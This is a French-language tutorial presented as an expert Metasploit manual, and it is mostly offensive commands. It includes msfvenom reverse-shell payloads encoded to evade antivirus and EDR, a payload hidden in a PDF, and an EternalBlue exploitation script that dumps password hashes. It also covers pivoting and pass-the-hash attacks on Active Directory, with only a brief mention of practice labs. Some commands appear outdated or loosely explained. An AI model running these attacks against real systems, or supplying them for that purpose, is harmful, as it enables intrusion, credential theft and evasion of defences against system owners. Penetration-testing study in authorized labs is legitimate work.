Manuel d’Utilisation de Metasploit - Niveau Expert

Introduction

Metasploit Framework est un outil central dans le domaine des tests de pénétration avancés et de l’exploitation des systèmes. À ce niveau, nous allons explorer des techniques avancées pour automatiser des tâches, développer des modules personnalisés, contourner les systèmes de détection, et intégrer Metasploit à d’autres outils.

---

1. Installation et Optimisation

1.1 Installation avancée

1. **Compilation à partir des sources** :
   Pour personnaliser Metasploit, vous pouvez le compiler directement depuis le dépôt Git officiel :

   ```
   git clone https://github.com/rapid7/metasploit-framework.git
   cd metasploit-framework
   bundle install
   ```

2. **Configuration optimisée** :
   - Activez l'accélération des bases de données avec `pg_hba.conf` pour PostgreSQL.
   - Assurez-vous que Metasploit utilise **Nmap** et **Nikto** en intégration pour améliorer les phases de scan.
3. **Mise à jour automatique des exploits** : Ajoutez un script cron sur Linux pour automatiser les mises à jour :

   ```
   sudo crontab -e
   ```

   Ajoutez :

   ```
   @daily msfupdate
   ```

---

2. Exploits Avancés

2.1 Exploits sur mesure

Créer un exploit personnalisé nécessite une compréhension approfondie des vulnérabilités et du langage Ruby utilisé dans Metasploit. Voici un exemple simple d'exploit personnalisé :

```
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Exploit personnalisé',
      'Description'    => %q{
        Exploite une vulnérabilité spécifique.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'VotreNom', # Auteur
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows 10', {}],
        ],
      'DisclosureDate' => '2024-01-01',
      'DefaultTarget'  => 0))
  end

  def exploit
    connect
    print_status("Exploit en cours...")
    sock.put("PAYLOAD")
    handler
    disconnect
  end
end
```

Placez ce fichier dans le répertoire `modules/exploits/custom/`. Chargez-le ensuite avec :

```
use exploit/custom/nom_exploit
```

2.2 Obfuscation des Payloads

Pour contourner les systèmes d'antivirus et EDR (Endpoint Detection and Response), utilisez l'outil `msfvenom` avec des techniques d'encodage avancées :

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -e
x86/shikata_ga_nai -i 10 -f exe -o payload_obfusqué.exe
```

- `-e x86/shikata_ga_nai` : Encodeur polymorphique.
- `-i 10` : Nombre d'itérations pour l'encodage.

Combinez avec des outils tiers comme **Veil** ou **Obfuscator.io** pour une obfuscation supplémentaire.

2.3 Exploits en chaînes

L'exécution d'exploits en chaînes permet d'exploiter plusieurs vulnérabilités dans une cible. Voici un exemple :

1. Utilisez une vulnérabilité initiale pour obtenir un accès limité :

   ```
   use exploit/windows/smb/ms17_010_eternalblue
   set RHOSTS <IP>
   exploit
   ```

2. Exploitez ensuite une autre faille pour élever les privilèges :

   ```
   use post/windows/escalate/getsystem
   run
   ```

---

3. Automatisation et Scripting

3.1 Automatisation avec des fichiers de ressources

Les fichiers `.rc` permettent d'automatiser les actions dans Metasploit. Exemple d'un fichier `automation.rc` :

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4444
exploit
sessions -i 1
run post/windows/gather/hashdump
```

Lancez le script avec :

```
msfconsole -r automation.rc
```

3.2 Intégration avec Python

Utilisez l'API Metasploit RPC pour automatiser des tâches en Python. Exemple :

```
from metasploit.msfrpc import MsfRpcClient

client = MsfRpcClient('password', ssl=True)
exploit = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue')
exploit['RHOSTS'] = '192.168.1.100'
exploit.execute(payload='windows/x64/meterpreter/reverse_tcp')
```

---

4. Modules Avancés

4.1 Bypasser les restrictions

Pour contourner les restrictions utilisateur ou les firewalls, utilisez des modules comme `autoroute` :

```
use post/multi/manage/autoroute
set SUBNET 192.168.2.0
run
```

Cela vous permet d'accéder aux sous-réseaux internes de la cible.

4.2 Pivoting avec SOCKS

Créez un proxy SOCKS pour pivoter dans le réseau :

1. Configurez la session :

   ```
   use auxiliary/server/socks_proxy
   run
   ```

2. Configurez votre proxy local pour exploiter cette connexion.

---

5. Contournement de la Sécurité

5.1 Cibler des systèmes protégés

Utilisez des modules spécifiques pour contourner les protections comme ASLR (Address Space Layout Randomization) ou DEP (Data Execution Prevention) :

```
use exploit/windows/browser/adobe_flash_sandbox_uaf
```

5.2 Encapsulation de Payload

Encapsulez un payload dans un fichier légitime (ex. : PDF, image) :

```
msfvenom -p windows/meterpreter/reverse_tcp -f raw | msfencode -e
x86/shikata_ga_nai -t pdf -o exploit.pdf
```

---

6. Scénarios Pratiques

6.1 Attaque avancée sur Active Directory

1. **Exploitez une machine pour obtenir des informations sur Active Directory** :

   ```
   use auxiliary/gather/ldap_query
   set RHOSTS <IP_DC>
   run
   ```

2. **Utilisez Pass-the-Hash pour accéder à d'autres machines** :

   ```
   use exploit/windows/smb/psexec
   set SMBUser <user>
   set SMBPass <hash>
   exploit
   ```

6.2 Attaque multi-cibles avec les modules auxiliaires

Scannez et exploitez plusieurs cibles automatiquement :

```
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
```

---

7. Conseils pour un Usage Avancé

1. **Test en environnements réels** : Utilisez des environnements simulés comme **VulnHub**, **Hack The Box**, ou **Proving Grounds**.
2. **Combinaison avec d'autres outils** : Intégrez Metasploit avec Burp Suite, Nmap, ou Cobalt Strike pour des campagnes avancées.
3. **Mise à jour continue** : Surveillez les CVE et ajoutez de nouveaux exploits au fur et à mesure qu'ils sont publiés.

Conclusion

À un niveau expert, Metasploit devient un outil incroyablement polyvalent pour les pentests avancés. Son pouvoir réside dans la personnalisation des modules, l'automatisation des tâches, et la combinaison avec d'autres outils pour surmonter les défis des environnements réels. Continuez à expérimenter, à apprendre et à explorer pour maximiser son potentiel.